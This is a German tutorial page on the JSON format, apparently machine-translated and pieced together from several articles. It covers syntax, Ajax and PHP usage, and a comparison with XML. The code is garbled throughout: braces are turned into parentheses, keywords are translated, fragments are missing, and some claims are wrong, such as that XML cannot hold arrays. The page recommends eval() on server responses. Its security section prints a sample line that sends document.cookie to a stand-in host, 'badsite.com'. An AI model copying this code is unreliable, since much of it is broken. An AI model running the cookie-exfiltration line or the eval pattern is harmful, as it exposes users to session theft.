    Obj = ( "name": "Vasya", "age": 35, "isAdmin": false, toJSON: function() ( return this.age; ) ) alarm(JSON.stringify(obj)); // gibt 35 aus

    Beispiele für die praktische Anwendung des JSON-Formats

    Tatsächlich verwende ich persönlich das JSON-Format in zwei Hauptsituationen:

    1. Übertragen von Daten zwischen dem Browser und dem Server mithilfe von Ajax-Anfragen.

    Wir haben beispielsweise eine Seite, auf der wir Daten aktualisieren müssen, ohne die Seite neu zu laden. Nehmen wir an, Sie benötigen Informationen mit einer Liste der Mitarbeiter und deren Daten, die vom Server „heruntergeladen“ werden sollen.

    In JavaScript machen wir es uns mit jQuery einfach und zeigen die Daten in Form einer Tabelle im Browser an:

    $.getJSON("get-info.php").success(function(data) ( // Ajax-Anfrage, Daten vom Server werden in die Datenvariable geschrieben htmlstr = "

    "; for (var i=0; i "Ivanov Sergey", "birthday" => "09.03.1975"); $user_info = array ("fio" => "Alexey Petrov", "birthday" => " 18.09.1983"); echo json_encode($user_info); exit;

    In diesem Beispiel sah die JSON-Zeichenfolge, die vom Server an den Browser übergeben wurde, wie folgt aus:

    [("fio": "Sergej Iwanow", "Geburtstag": "09.03.1975"), ("fio": "Alexej Petrow", "Geburtstag": "18.09.1983")]

    Ich habe die Linie bewusst nicht in Form eines „Baums“ dargestellt, weil es wird genau in dieser Form übermittelt. Und wie Sie sehen können, erwies sich die Datenaufzeichnung im JSON-Format als sehr kompakt, was bedeutet, dass die Übertragung dieser Daten vom Server an den Browser nahezu augenblicklich erfolgt.

    2. Schreiben komplexer Datenstrukturen in die Datenbank.

    Manchmal gibt es Situationen, in denen es nicht ratsam ist, eine weitere Tabelle in der Datenbank zu erstellen, um verschiedene Daten zu speichern. Nehmen wir an, ein auf der Website registrierter Benutzer hat die Möglichkeit, die Hintergrundfarbe und die Textfarbe anzupassen.

    Anstatt eine weitere Tabelle für zwei Einstellungen zu erstellen, können Sie einfach eine Textspalte in der Tabelle mit der Liste der Benutzer erstellen, in der die Benutzereinstellungsdaten abgelegt werden sollen. Dann könnte die Anfrage zur Einstellungsaktualisierung beispielsweise so aussehen:

    UPDATE-Benutzer SET-Einstellungen = „(“Hintergrundfarbe“: „#FFFFFF“, „Textfarbe“: „#000000“)“ WHERE user_id = 10

    In Zukunft kann das PHP-Skript, nachdem es Informationen aus der Benutzertabelle erhalten hat, diese problemlos wieder in ein Array mit Einstellungen umwandeln. Wenn beispielsweise die Variable $user_info Daten enthält, die für einen Benutzer aus der Benutzertabelle abgerufen wurden, ist das Abrufen eines Arrays mit Einstellungen sehr einfach:

    $settings = json_decode($user_info["settings"], true); echo "Hintergrundfarbe = ".$settings["background-color"]; echo "Textfarbe = ".$settings["text-color"];

    Im JSON-Format können Sie beispielsweise auch in der Datenbank erfassen, welche Produktoptionen der Käufer ausgewählt hat.

    („15“:[“45“, „47“], „18“: „52“) // Option 15 hat die Werte 45 und 47 ausgewählt, und Option 18 hat den Wert 52 ausgewählt

    Im Prinzip können Sie sogar den gesamten Inhalt des Warenkorbs im JSON-Format schreiben, beispielsweise so:

    ( „user_id“ : 10, „session_id“ : „2c2l3h4ii271aojentejtdcmh3“, „products“: [ ( „product_id“ : 15, „options“ : („15“ : , „18“ : 52), „quantity“ : 1, „price“ : 1500 ), („product_id“ : 16, „options“ : („15“ : , „18“ : 51 ), „quantity“ : 2, „price“ : 1000 ) ] )

    In seiner üblichen Nicht-Baum-Form würde dieser JSON-String so aussehen:

    ("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15,"options":("15":,"18":52),,"quantity":1 , "price":1500),("product_id":16,"options":("15":,"18":51),,"quantity":2,"price":1000)])

    Somit können, wie aus den Beispielen hervorgeht, nahezu beliebige Informationen im JSON-Format gespeichert und übertragen werden.

    JSON (JavaScript Object Notation) ist ein Datenübertragungsformat. Wie der Name schon sagt, basiert das Format auf der Programmiersprache JavaScript, es ist aber auch in anderen Sprachen (Python, Ruby, PHP, Java) verfügbar.

    JSON verwendet die Erweiterung .json. Bei Verwendung in anderen Dateiformaten (z. B. .html) wird die JSON-Zeichenfolge in Anführungszeichen gesetzt oder einer Variablen zugewiesen. Dieses Format lässt sich problemlos zwischen dem Webserver und dem Client oder Browser übertragen.

    JSON ist leichtgewichtig und leicht verständlich und eine großartige Alternative zu XML.

    Dieses Tutorial führt Sie in die Vorteile, Objekte, allgemeine Struktur und Syntax von JSON ein.

    JSON-Syntax und -Struktur

    Ein JSON-Objekt liegt in Schlüsselwertform vor und wird normalerweise in geschweiften Klammern geschrieben. Bei der Arbeit mit JSON werden alle Objekte in einer .json-Datei gespeichert, sie können aber auch als separate Objekte im Kontext des Programms existieren.

    Das JSON-Objekt sieht folgendermaßen aus:

    „Vorname“: „John“,
    „last_name“: „Smith“,
    „Standort“: „London“,
    „online“: wahr,
    „Follower“: 987

    Dies ist ein sehr einfaches Beispiel. Ein JSON-Objekt kann viele Zeilen enthalten.

    Wie Sie sehen, besteht ein Objekt aus Schlüssel-Wert-Paaren, die in geschweifte Klammern eingeschlossen sind. Die meisten Daten in JSON werden als Objekte geschrieben.

    Zwischen Schlüssel und Wert wird ein Doppelpunkt gesetzt. Nach jedem Paar müssen Sie ein Komma setzen. Das Ergebnis ist:

    „key“: „value“, „key“: „value“, „key“: „value“

    Der JSON-Schlüssel befindet sich auf der linken Seite. Der Schlüssel muss in doppelte Anführungszeichen gesetzt werden. Als Schlüssel kann jede gültige Zeichenfolge verwendet werden. Innerhalb eines Objekts müssen alle Schlüssel eindeutig sein. Der Schlüssel kann ein Leerzeichen („Vorname“) enthalten, die Programmierung kann jedoch Probleme beim Zugriff auf einen solchen Schlüssel haben. Daher ist es besser, anstelle eines Leerzeichens einen Unterstrich („Vorname“) zu verwenden.

    Die JSON-Werte stehen auf der rechten Seite der Spalte. Als Wert kann jeder einfache Datentyp verwendet werden:

    • Saiten
    • Zahlen
    • Objekte
    • Arrays
    • Boolesche Daten (wahr oder falsch)

    Werte können auch durch komplexe Datentypen (zum Beispiel Objekte oder JSON-Arrays) dargestellt werden.

    JSON unterstützt eine individuelle Syntax für jeden der oben aufgeführten Datentypen: Wenn der Wert durch eine Zeichenfolge dargestellt wird, wird er in Anführungszeichen gesetzt, wenn es sich jedoch um eine Zahl handelt, ist dies nicht der Fall.

    Normalerweise werden Daten in JSON-Dateien in eine Spalte geschrieben, JSON kann jedoch auch in eine Zeile geschrieben werden:

    („Vorname“: „John“, „Nachname“: „Smith“, „online“: wahr,)

    Auf diese Weise werden JSON-Daten normalerweise in andere Dateitypen geschrieben.

    Durch das Schreiben von JSON-Daten in eine Spalte verbessern Sie die Lesbarkeit der Datei (insbesondere, wenn die Datei viele Daten enthält). JSON ignoriert Leerzeichen zwischen Spalten, sodass Sie diese verwenden können, um Ihre Daten in eine überschaubare Anzahl von Spalten aufzuteilen.

    „Vorname“: „John“,
    „last_name“: „Smith“,
    „online“: wahr

    Beachten Sie, dass JSON-Objekte JavaScript-Objekten sehr ähnlich sind, aber nicht dasselbe Format haben. Beispielsweise können Sie Funktionen in JavaScript verwenden, jedoch nicht in JSON.

    Der Hauptvorteil von JSON besteht darin, dass Daten in diesem Format von vielen gängigen Programmiersprachen unterstützt werden und daher schnell übertragen werden können.

    Sie sind jetzt mit der grundlegenden JSON-Syntax vertraut. JSON-Dateien können jedoch komplexe, hierarchische Strukturen aufweisen, die verschachtelte Arrays und Objekte enthalten.

    Komplexe Typen in JSON

    JSON kann verschachtelte Objekte und Arrays speichern, die als Wert des ihnen zugewiesenen Schlüssels übergeben werden.

    Verschachtelte Objekte

    Nachfolgend finden Sie ein Beispiel – die Datei „users.json“, die Benutzerdaten enthält. Für jeden Benutzer

    („john“, „jesse“, „drew“, „jamie“) wird ein verschachteltes Objekt als Wert übergeben, das wiederum aus Schlüsseln und Werten besteht.

    Hinweis: Das erste verschachtelte JSON-Objekt wird rot hervorgehoben.

    "John" :(
    „Benutzername“: „John“,
    „Standort“: „London“,
    „online“: wahr,
    „Follower“: 987

    „Jesse“ :(
    „Benutzername“: „Jesse“,
    „Standort“: „Washington“,
    „online“: falsch,
    „Follower“: 432

    „gezeichnet“ :(
    „Benutzername“: „Drew“,
    „Standort“: „Paris“,
    „online“: falsch,
    „Follower“: 321

    „Jamie“ :(
    „Benutzername“: „Jamie“,
    „Standort“: „Berlin“,
    „online“: wahr,
    „Follower“: 654

    Beachten Sie, dass sowohl im verschachtelten Objekt als auch im Hauptobjekt geschweifte Klammern verwendet werden. Kommas in verschachtelten Objekten werden auf die gleiche Weise verwendet wie in regulären.

    Verschachtelte Arrays

    Daten können mithilfe von JavaScript-Arrays, die als Werte übergeben werden, in JSON verschachtelt werden. JavaScript verwendet eckige Klammern () am Anfang und Ende eines Arrays. Ein Array ist eine geordnete Sammlung von Daten, die verschiedene Datentypen enthalten kann.

    Ein Array dient der Übertragung einer großen Datenmenge, die gruppiert werden kann. Versuchen wir zum Beispiel, Benutzerdaten aufzuzeichnen.

    {
    „Vorname“: „John“,
    „last_name“: „Smith“,
    „Standort“: „London“,
    "Websites" : [

    „Beschreibung“: „Arbeit“,
    „URL“: „https://www.johnsmithsite.com/“

    },
    {

    „Beschreibung“: „Tutorials“,
    „URL“: „https://www.johnsmithsite.com/tutorials“

    "sozialen Medien" : [

    „Beschreibung“: „Twitter“,
    „Link“: „https://twitter.com/johnsmith“

    „Beschreibung“: „Facebook“,
    „Link“: „https://www.facebook.com/johnsmith“

    „Beschreibung“: „Github“,
    „Link“: „https://github.com/johnsmith“

    Den Schlüsseln „websites“ und „social_media“ werden Arrays als Werte zugewiesen, die in eckige Klammern gesetzt werden.

    Mithilfe verschachtelter Arrays und Objekte können Sie eine komplexe Datenhierarchie erstellen.

    JSON oder XML?

    Mit XML (eXtensible Markup Language) können Sie Daten in einer für Mensch und Maschine leicht verständlichen Form speichern. Das XML-Format wird von einer Vielzahl von Programmiersprachen unterstützt.

    XML und JSON haben viele Gemeinsamkeiten. Allerdings erfordert XML viel mehr Text, was bedeutet, dass solche Dateien größer und schwieriger zu lesen und zu schreiben sind. Darüber hinaus wird XML nur mit einem XML-Interpreter verarbeitet, während JSON mit einer einfachen Funktion verarbeitet werden kann. Im Gegensatz zu JSON kann XML keine Arrays speichern.

    Vergleichen wir zwei Dateien: Sie enthalten dieselben Daten, aber die erste ist im XML-Format und die zweite in JSON geschrieben.

    user.xml

    John London

    Jesse Washington

    Zeichnete Paris

    Jamie Berlin

    user.json
    ("Benutzer": [

    („Benutzername“: „John“, „Standort“: „London“),
    („Benutzername“: „Jesse“, „Standort“: „Washington“),
    („Benutzername“: „Drew“, „Standort“: „Paris“),
    („Benutzername“: „JamieMantisShrimp“, „Standort“: „Berlin“)

    JSON ist ein sehr kompaktes Format und erfordert nicht so viele Tags wie XML. Darüber hinaus unterstützt XML im Gegensatz zu JSON keine Arrays.

    Wenn Sie mit HTML vertraut sind, werden Sie feststellen, dass das XML-Format diesem sehr ähnlich ist (insbesondere die Tags). JSON ist einfacher, erfordert weniger Text und lässt sich beispielsweise einfacher in AJAX-Anwendungen verwenden.

    Natürlich muss das Format je nach den Anforderungen der Anwendung gewählt werden.

    Tools für JSON

    JSON wird häufig in JavaScript verwendet, das Format ist jedoch auch in anderen Programmiersprachen weit verbreitet.

    Weitere Informationen zur JSON-Kompatibilität und -Verarbeitung finden Sie auf der Projektwebsite und in der jQuery-Bibliothek.

    Es kommt selten vor, JSON von Grund auf zu schreiben. Typischerweise werden Daten aus der Quelle geladen oder in JSON konvertiert. Sie können CSV- oder tabulatorgetrennte Daten mit dem Open-Source-Tool Mr. in JSON konvertieren. Datenkonverter. Um XML in JSON und umgekehrt zu konvertieren, verwenden Sie utilities-online.info. Überprüfen Sie beim Arbeiten mit automatischen Werkzeugen unbedingt die Ergebnisse.

    JSON-Dateien (einschließlich konvertierter Daten) können mit dem JSONLint-Dienst überprüft werden. Informationen zum Testen von JSON in einem Webentwicklungskontext finden Sie unter JSFiddle.

    Abschluss

    JSON ist ein einfaches und leichtes Datenformat. JSON-Dateien lassen sich einfach übertragen, speichern und verwenden.

    Heutzutage wird JSON häufig in APIs verwendet.

    • Übersetzung

    Hinweis: Nachfolgend finden Sie eine Übersetzung des Übersichtsartikels „JSON vs XML“, der JSON und seinem Vergleich mit XML anhand einer Reihe von Kriterien gewidmet ist. Veröffentlicht, um JSON bei Habrahabr-Lesern bekannt zu machen.

    JSON (JavaScript Object Notation) ist ein Datenaustauschformat, das von Menschen leicht gelesen, von Programmen leicht verarbeitet und generiert werden kann.

    Basierend auf einer Teilmenge der JavaScript-Sprache, Standard ECMA-262, 3. Auflage – Dezember 1999.


    JSON – Wikipedia

    Was ist das richtige Antwortformat für XMLHttpRequest in AJAX-Anwendungen? Für die meisten Markup-basierten Anwendungen ist die Antwort einfach: (X)HTML. Für informationszentrierte Anwendungen wird die Wahl zwischen XML und JSON liegen. Bis vor kurzem habe ich mich nicht wirklich gefragt, was besser zu verwenden ist: XML oder JSON. Ich bin einfach davon ausgegangen, dass es sich im Einzelfall lohnt, das am besten geeignete Format zu wählen, das ist alles. Aber kürzlich hatte ich die Gelegenheit, diesen Ansatz in der Praxis zu testen. In diesem Beitrag beschreibe ich die Kriterien, anhand derer ich XML und JSON verglichen habe, und meine eigenen Schlussfolgerungen.

    Die Kriterien sind also wie folgt.

    • Lesbarkeit des Codes.
    • Einfache Erstellung eines serverseitigen Datenobjekts.
    • Einfache Datenverarbeitung auf Client-Seite.
    • Einfach zu erweitern.
    • Debugging und Fehlerkorrektur.
    • Sicherheit.
    Lesbarkeit des Codes

    Person person = neue Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); write.write(JSONObject.fromObject(person).toString());

    Wenn wir die Funktionsweise solcher Programmierschnittstellen betrachten, unterscheidet sich die Erstellung von JSON nicht wesentlich von der Serialisierung von Java-Beans in Objekte. Es ist jedoch erwähnenswert, dass es mittlerweile viel mehr Möglichkeiten gibt, XML als JSON zu generieren. Einige dieser XML-APIs gibt es schon seit vielen Jahren und sind aus diesem Grund möglicherweise stabiler, wenn sie für komplexe Anwendungen verwendet werden.

    Ein weiterer zu berücksichtigender Aspekt ist die Menge der Ressourcen, die zur Generierung der Antwort verwendet werden. Wenn beim Empfang von Daten bereits „schwere“ Vorgänge ausgeführt werden, ist es für den Serverteil nicht schwierig, diese für eine Antwort zusätzlich in XML zu konvertieren. Wenn das Erstellen von XML der ressourcenintensivste Vorgang ist, ist es besser, JSON zu verwenden.

    Benutzerfreundlichkeit

    Auf der Clientseite ist die Verarbeitung von JSON-Daten als Antwort auf einen XMLHttpRequest äußerst einfach.

    Var person = eval(xhr.responseText); alarm(person.firstName);

    Mit regulärem eval() können Sie die Antwort in ein JavaScript-Objekt konvertieren. Sobald dieser Vorgang abgeschlossen ist, kann über die Eigenschaften des konvertierten Objekts auf die Daten zugegriffen werden. Dies ist der eleganteste Teil von JSON.

    Schauen wir uns nun XML an. Um den folgenden Codeausschnitt transparenter zu machen, habe ich sämtliche Fehlerprüfungen entfernt.

    "Vorname");

    Bei der Verarbeitung der vom Server empfangenen Daten ist es natürlich notwendig, den gesamten DOM-Baum zu durchsuchen. Dies ist ein sehr arbeitsintensiver Vorgang und fehleranfällig. Leider müssen wir uns im Browser mit dem DOM auseinandersetzen. Browser unterstützen keine Abfragesprache wie XPath zum Abrufen von Baumknoten in einem XML-Dokument. Die Unterstützung dieser Funktionen gilt bereits für XSLT, ist jedoch recht begrenzt ( Hinweis: im Browser) im Hinblick auf die Konvertierung von XML in Markup (z. B. HTML). Arbeitsgruppe für Webschnittstellen ( Web-API-Arbeitsgruppe) vom W3C arbeitet an einer Auswahlschnittstelle ( Selektoren-API), mit dem CSS-Selektoren angewendet werden können, wenn Knoten aus einem Document-Objekt ausgewählt werden. Mithilfe einer solchen Schnittstelle wäre es möglich, den obigen Beispielcode in xml.match("person.firstName") umzuwandeln, um das Element firstName zu erhalten. Für das XML-Dokument in diesem Beispiel ist das kein großer Erfolg, kann aber für die Arbeit mit stark verzweigten Dokumenten nützlich sein. Diese Schnittstelle ist noch nicht vollständig und es wird Jahre dauern, bis Browser sie unterstützen.

    Wenn ich mich zwischen XML und JSON entscheiden muss, bevorzuge ich im Allgemeinen JSON, da die clientseitige Verarbeitung einfacher zu implementieren ist.

    Erweiterbarkeit

    Erweiterbarkeit trägt dazu bei, die Anzahl der Kommunikationen zwischen dem Datenanbieter und dem Empfänger zu reduzieren. Im Kontext von AJAX-Anwendungen muss das clientseitige Skript ausreichend invariant gegenüber kompatiblen Datenänderungen sein.

    Die allgemeine Überzeugung ist, dass XML einfach aufgrund des Vorhandenseins des Buchstabens „X“ automatisch erweiterbar ist. Dies ist jedoch keine bedingungslose Regel (d. h. standardmäßiges Handeln). Die XML-Erweiterbarkeit basiert auf dem Prinzip, dass Sie zusätzliche Knoten in Ihrem XML definieren und dann die Regel „Überspringen, was nicht benötigt wird“ anwenden können (d. h. wenn Sie bei der XML-Verarbeitung auf ein unbekanntes Element oder Attribut stoßen, überspringen Sie es einfach).

    Um die Erweiterbarkeit voll auszunutzen, müssen Sie clientseitigen Code unter Berücksichtigung der Erweiterbarkeit schreiben. Das folgende Beispiel schlägt beispielsweise fehl, wenn Sie beispielsweise ein middleName-Element einfügen möchten.

    Var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = firstNameEl.nextSibling;

    Wenn Sie ein Element direkt nach dem Element einfügen, wird in diesem Beispiel der zweite Vorname fälschlicherweise als Nachname interpretiert. Um gegenüber dieser Änderung unveränderlich zu sein, muss der Code neu geschrieben werden, um das Element explizit abzurufen oder nur dann auf nextSibling zuzugreifen, wenn ein untergeordnetes Element mit dem gewünschten tagName gefunden wird. Daher ist XML erweiterbar, solange Sie den Code unter Berücksichtigung zukünftiger Erweiterbarkeit schreiben. Alles ist extrem einfach.

    Kehren wir zu JSON zurück. Ich behaupte, dass es einfacher ist, JSON-Daten zu erweitern als XML. Dies erfordert zweifellos weniger Aufwand. Betrachten wir das Hinzufügen der Eigenschaft middleName zur JSON-Antwort. Um darauf zuzugreifen, müssen Sie es nur aufrufen.

    Alert(person.middleName);

    Dieser Code ändert sich nicht, wenn Sie Ihrer Antwort einen zweiten Vornamen hinzufügen. Doch was ist bei der Bearbeitung einer Person mit oder ohne Zweitnamen zu tun? Mit JSON ist das ganz einfach.

    if (person.middleName) ( // Verarbeitung)

    Mein Standpunkt ist, dass sowohl XML- als auch JSON-Daten erweitert werden können, wenn eine mögliche zukünftige Erweiterbarkeit berücksichtigt wird. Aber es ist einfacher, Daten mit JSON zu erweitern als mit XML. Sie müssen lediglich prüfen, ob die erforderliche Eigenschaft für das Objekt vorhanden ist, und entsprechend dem Ergebnis der Prüfung handeln.

    Eine weitere Möglichkeit, JSON-Daten zu erweitern, besteht darin, Funktionsaufrufe zusammen mit Datendeklarationen direkt in der Antwort zu verwenden.

    Alert("Hallo - ich bin eine Person"); (("Vorname": "Subbu", "Nachname": "Allamaraju"));

    Wenn Daten über eval() deklariert werden, ruft der Browser auch den Ausdruck „alert()“ auf. In diesem Fall können Sie sowohl Daten laden als auch Funktionen ausführen. Dieser Ansatz sollte mit großer Vorsicht angewendet werden, da er die Antwort mit Funktionsaufrufen überfrachtet und eine Verbindung zwischen Aufrufen und Daten herstellt. Einige Quellen diskutieren auch die potenziellen Sicherheitslücken dieses Ansatzes, auf die weiter unten näher eingegangen wird.

    Debugging und Fehlerkorrektur

    Dieser Aspekt gilt sowohl für die Serverseite Ihrer Anwendung als auch für die Clientseite. Auf dem Server müssen Sie sicherstellen, dass die Daten korrekt formatiert und korrekt sind. Es sollte einfach sein, Fehler in der Antwort auf der Clientseite zu beheben.

    Mit XML lässt sich relativ einfach überprüfen, ob die an den Client gesendeten Daten wohlgeformt und korrekt sind. Sie können ein Schema für Ihre Daten verwenden und es zur Validierung der Daten anwenden. Mit JSON wird diese Aufgabe manuell und erfordert die Überprüfung, ob das resultierende Objekt die richtigen Attribute aufweist.

    Auf Client-Seite ist es in beiden Fällen schwierig, Fehler zu erkennen. Bei XML kann der Browser es einfach nicht in ResponseXML konvertieren. Für kleine Mengen an JSON-Daten können Sie die FireBug-Erweiterung zum Debuggen und zur Fehlerkorrektur verwenden. Bei großen Datenmengen wird es jedoch etwas schwierig, die Fehlermeldung einer bestimmten Stelle im Code zuzuordnen.

    Sicherheit

    Dave Johnson weist in seinem Beitrag „JSON and the Golden Fleece“ darauf hin, dass JSON Sicherheitsprobleme verursachen kann. Der Kern des Hinweises besteht darin, dass Sie beliebigen Code ausführen, wenn Sie zulassen, dass Funktionsaufrufe zusammen mit Daten in JSON-Antworten eingefügt werden, und eval() zum Verarbeiten der Antwort verwenden, was möglicherweise bereits ein Sicherheitsrisiko birgt.

    Window.location = "http://badsite.com?" + document.cookie; Person: („Vorname“: „Subbu“, „Nachname“: „Allamaraju“)

    Wenn die Antwort im obigen Beispiel ausgeführt wird, sendet der Browser die Cookies des Benutzers an die Website des Drittanbieters. In diesem Fall herrscht jedoch einige Verwirrung bei der Definition einer Sicherheitsbedrohung. Sie sollten Daten oder Code, die von einer ungeprüften Quelle stammen, nicht vertrauen. Und zweitens können wir XMLHttpRequest nicht verwenden, um mit anderen Domänen als der Quelldomäne des Skripts zu kommunizieren. Daher können nur die Entwickler selbst beim Erstellen einer Anwendung das Senden von Cookies an eine Website eines Drittanbieters veranlassen. Dies ist ziemlich zweifelhaft, da sie diesen Schadcode genauso gut an einer beliebigen Stelle im Dokument platzieren könnten, außerhalb der vom Server gesendeten Datenantwort. Vielleicht übersehe ich etwas, aber ich sehe keinen Sinn darin, JSON im Vergleich zu XML als unsicher zu betrachten.

    Meine Wahl

    Für informationszentrierte Anwendungen würde ich JSON aufgrund seiner Einfachheit und einfachen Datenverarbeitung auf der Clientseite lieber als XML verwenden. XML mag auf dem Server unverzichtbar sein, aber auf dem Client ist es definitiv einfacher, mit JSON zu arbeiten.



     

    Es könnte nützlich sein zu lesen: